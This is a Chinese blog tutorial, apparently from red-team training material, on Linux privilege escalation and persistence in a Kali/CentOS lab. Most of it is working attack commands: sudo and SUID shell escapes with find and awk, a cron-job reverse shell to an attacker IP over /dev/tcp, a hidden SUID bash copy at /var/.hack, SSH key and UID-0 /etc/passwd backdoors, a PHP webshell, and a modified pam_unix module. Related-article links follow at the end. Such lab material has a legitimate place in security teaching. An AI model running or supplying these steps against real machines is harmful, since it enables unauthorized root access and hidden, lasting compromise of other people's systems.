【网络安全】护网系列-权限维持-Linux权限提升&维持

简介: 【网络安全】护网系列-权限维持-Linux权限提升&维持

六、权限维持和应急排查

需要用两台虚拟机,kali和CentOS

1.Linux权限提升

权限提升(Privilege Escalation)

linux只有两种用户

普通用户

root用户

需要进一步获取root权限

实现提权的方法

操作系统内核的漏洞
操作系统设置不当提权
第三方服务存在漏洞的提权

会造成提权的漏洞如下

1.1 内核漏洞

内核:Linux操作系统管理核心功能的程序(管理网络、文件)

发行版:对内核做一定变动,本质一样

(1)内核与发行版

Linux内核版本 
https://www.kernel.org/ 

CVE内核漏洞有哪些
https://www.cvedetails.com/product/47/Linux-Linux- Kernel.html?vendor_id=33

内核的漏洞

image-20230718225242783.png

(2)内核漏洞

脏牛漏洞COW,2007年出现,2016年被发现

Dirty COW(Copy On Write)(CVE-2016-5195)(作业中有靶机) 
Dirty Pipe(CVE-2022-0847) 
Dirty Cred(CVE-2022-2588) 
Linux Polkit(CVE-2021-4034)

从普通用户提权到root非常重要的一个渠道

比如在CentOS操作系统上输入

uname -a

查看内核版本

image-20230718225822014.png

有了这些信息,再去漏洞数据库中查找

image-20230718230030109.png

想要找到这些漏洞文件,打开kali

image-20230718230133706.png

1.2 SUDO提权

SUDO 授权某些普通用户可以用root的身份去执行某些程序

Linux中很多普通用户,没有修改配置文件,重启系统的权限

image-20230718230409500.png

如果普通用户想要获得权限,root用户可以修改配置文件中SUDO的权限,

给它赋权

让普通用户也能以root身份运行程序(一些root命令)

Linux操作系统中的命令也是一种程序

必须在root用户中用命令来编写

visudo

比如

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

wuya这个用户可以在所有主机上,都可以用root的身份,

并且不需要再次确认密码

就可以执行“修改文件所有者”的命令

和“添加用户”的命令

1.2.1 找到程序位置

我们先来找下该程序

whereis useradd

看到添加用户的程序在这个地方

/usr/sbin/useradd

image-20230718231307806.png

先添加一个普通用户

1.2.2 添加组别

groupadd security

image-20230718231556009.png

1.2.3 添加普通用户

useradd -g security wuya

给用户设置一个初始密码

passwd wuya

image-20230718231809124.png

切换到wuya用户

su wuya

添加用户

useradd test

提示不允许,是root权限

image-20230718232135976.png

1.2.4 添加权限

切换到root用户

编辑

visudo

image-20230718232255101.png

找到root位置,添加提权命令

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

image-20230718232448058.png

或者可以给它添加所有权限

给wuya用户的所有主机授予所有权限

wuya ALL=(ALL:ALL) ALL

image-20230718232735531.png

然后在wuya用户下输入

sudo useradd test

成功

image-20230718232903010.png

1.2.5 提权流程

假如黑客拿到普通用户的权限

先输入

sudo -l

发现当前用户可以在所有主机做所有事

image-20230718233133829.png

目前假设普通用户只有使用find命令的权限

作为黑客可以

在用root身份查找文件后,并且用root身份运行bash程序

sudo find /home -exec /bin/bash \;

image-20230718233603245.png

当你输入

sudo -l

发现有以下任何一个命令的权限时

相关命令:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、
perl、bash、less、awk、man、vi、env、ftp

就可以通过一个命令直接提权

提权方式:
sudo awk 'BEGIN{system("/bin/bash")}' 
sudo find /home -exec /bin/bash \

1.3 SUID提权

SUID = Set UID (以程序所有者身份运行程序

SUID授权以文件为主体**

SUDO授权以用户为主体

例如:普通用户怎么修改/etc/shadow中的密码?

ll /usr/bin/passwd

用root权限给find加一个修改权限

chmod u+s /usr/bin/find

普通用户在执行命令时,调用root身份,可以查看身份

find 1.txt -exec whoami \;

普通用户

find 1.txt -exec '/bin/sh' -p \;

linux中利用suid中的find进行root提权遇到的坑

https://blog.csdn.net/rlenew/article/details/111873682

1.3.1 提权排查

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、 weget

搜索有S权限的程序(不同平台):

 find / -perm -u=s -type f 2>/dev/null

 find / -user root -perm -4000 -print 2>/dev/null

 find / -user root -perm -4000 -exec ls -ldb {} \

2. Linux权限维持

提权并不是永久的

当第一次拿到权限后,防止root用户删掉

防止杀毒、杀进程、关端口、打补丁等操作

2.1 webshell后门

利用webshell维持权限

各种编程语言的木马(后门)

shell.php 
dama.php
hack.war

如果管理员没有做系统清理,残留下这个PHP,就可以被黑客控制

将dama.php放到网站根目录下,打开小皮,开启环境,打开浏览器访问

http://localhost/dama.php

密码

yyds

进入系统,利用木马可以查看操作系统信息,操作数据库,提权

image-20230719221520316.png

2.2 定时任务后门

特点:定时执行,循环执行(容易被黑客利用)

crontab -u root -r 删除定时任务

image-20230719221743496.png

crontab -u root -l 查看
crontab -u root -e 修改

Kali监听7777端口

nc -lvvp 7777

CentOS写入任务(反弹连接)

通过bash的程序主动连接到攻击者的IP和端口

攻击者可以把自己的命令反弹到目标机

并且攻击者可以看到命令执行结果

把它写入

 * * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&

只要有写任务的权限,就可以在定时任务中写入一个反弹连接的值

2.3 SUID后面

在提权成功后进行的操作

root用户执行:

先去复制一个hack程序

cp /bin/bash /var/.hack

添加s权限,拥有bash的程序

chmod 4775 /var/.hack

查看权限是否修改成功

ls -al /var/.hack

image-20230719222528388.png

切换到普通用户执行,观察是否维持权限

 /var/.hack -p

image-20230719222658932.png

2.4 SSHKey后门(免密登录)

2.4.1 原理

正常登录需要输入密码,但是该方式不需要输入密码

它第一次登录生成一个公私钥对,把公钥放在服务器上,意味着它可以正常解密加密内容,

2.4.2 生成和查看(kali执行)

ssh-keygen -t rsa

image-20230719223039436.png

进入root文件夹下

cd /root/.ssh

image-20230719223151356.png

2.4.3 查看公钥内容

cat id_rsa.pub

image-20230719223226979.png

只要把公钥放到受害者服务器(authorized_keys )中,以后就可以直接连接服务器

2.4.4 写入(CentOS执行):

 cd /root/.ssh

 vim authorized_keys

image-20230719223454867.png

连接(Kali执行):

正常情况是需要输入密码的

ssh root@192.168.142.44

image-20230719223627562.png

连接成功

2.5 添加用户

2.5.1 生成密码:

openssl passwd -1 -salt admin 123456
-1 的意思是使用md5crypt加密算法 

-salt 指定盐为admin 

123456 明文密码

image-20230719224120610.png

2.5.2 追加(UID=0)

将刚刚生成的密码追加到文件中去

 echo'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

只要用户登录上,就是root权限

2.5.3 连接(Kali执行)

ssh root@192.168.142.44

用admin用户登录,登录成功变成root

image-20230719224353004.png

2.6 PAM后门

在系统认证中有一个pam_unix.so 模块,是用来做认证授权的

参考资料:

https://blog.csdn.net/weixin_40412037/article/details/118728788

下载编译

rpm -qa|grep pam 

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz 

tar -zxvf Linux-PAM-1.1.8.tar.gz 

yum install gcc flex flex-devel -y 

cd Linux-PAM-1.1.8 

vim modules/pam_unix/pam_unix_auth.c 

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp 

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh root@192.168.142.44
相关实践学习
CentOS 7迁移Anolis OS 7
龙蜥操作系统Anolis OS的体验。Anolis OS 7生态上和依赖管理上保持跟CentOS 7.x兼容,一键式迁移脚本centos2anolis.py。本文为您介绍如何通过AOMS迁移工具实现CentOS 7.x到Anolis OS 7的迁移。
目录
相关文章
|
1月前
|
安全 网络安全 数据安全/隐私保护
访问控制列表(ACL)是网络安全中的一种重要机制,用于定义和管理对网络资源的访问权限
访问控制列表(ACL)是网络安全中的一种重要机制,用于定义和管理对网络资源的访问权限。它通过设置一系列规则,控制谁可以访问特定资源、在什么条件下访问以及可以执行哪些操作。ACL 可以应用于路由器、防火墙等设备,分为标准、扩展、基于时间和基于用户等多种类型,广泛用于企业网络和互联网中,以增强安全性和精细管理。
139 7
|
1月前
|
Linux 数据安全/隐私保护
linux特殊权限!!
本文介绍了Linux系统中的特殊权限,包括suid、sgid和sbit。suid使普通用户在执行特定命令时获得root权限;sgid使用户在创建文件时继承目录的用户组权限;sbit确保用户只能删除自己在共享目录中创建的文件。此外,文章还讲解了chattr和lsattr命令,用于更改和查看文件的扩展属性,以及umask的概念和计算方法,帮助理解文件和目录的默认权限。
45 1
linux特殊权限!!
|
22天前
|
安全 网络安全 数据安全/隐私保护
访问控制列表(ACL)是网络安全管理的重要工具,用于定义和管理网络资源的访问权限。
访问控制列表(ACL)是网络安全管理的重要工具,用于定义和管理网络资源的访问权限。ACL 可应用于路由器、防火墙等设备,通过设定规则控制访问。其类型包括标准、扩展、基于时间和基于用户的ACL,广泛用于企业网络和互联网安全中,以增强安全性、实现精细管理和灵活调整。然而,ACL 也存在管理复杂和可能影响性能的局限性。未来,ACL 将趋向智能化和自动化,与其他安全技术结合,提供更全面的安全保障。
76 4
|
1月前
|
域名解析 网络协议 安全
|
2月前
|
运维 监控 网络协议
|
1月前
|
存储 Ubuntu Linux
2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 上集
在本节实验中,我们学习了 Linux 系统登录认证的过程,文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。祝你在接下来的技巧课程中学习愉快,学有所获~和文件是 Linux 系统登录认证的关键文件,如果系统运维人员对shadow或shadow文件的内容或权限配置有误,则可以被利用来进行系统提权。上一章中,我们已经学习了文件的提权方法, 在本章节中,我们将学习如何利用来完成系统提权。在本节实验中,我们学习了。
|
2月前
|
Linux 应用服务中间件 nginx
Linux下权限设置之suid、sgid、sticky
Linux下权限设置之suid、sgid、sticky
|
2月前
|
Linux 数据安全/隐私保护 Windows
Linux_权限理解(详细PLUS
Linux_权限理解(详细PLUS
|
2月前
|
网络协议 Linux 网络安全
【Linux】用户和权限及实用操作------迅速了解用户和权限及其实用操作
【Linux】用户和权限及实用操作------迅速了解用户和权限及其实用操作
|
29天前
|
Linux 网络安全 数据安全/隐私保护
Linux 超级强大的十六进制 dump 工具:XXD 命令,我教你应该如何使用!
在 Linux 系统中,xxd 命令是一个强大的十六进制 dump 工具,可以将文件或数据以十六进制和 ASCII 字符形式显示,帮助用户深入了解和分析数据。本文详细介绍了 xxd 命令的基本用法、高级功能及实际应用案例,包括查看文件内容、指定输出格式、写入文件、数据比较、数据提取、数据转换和数据加密解密等。通过掌握这些技巧,用户可以更高效地处理各种数据问题。
73 8

热门文章

最新文章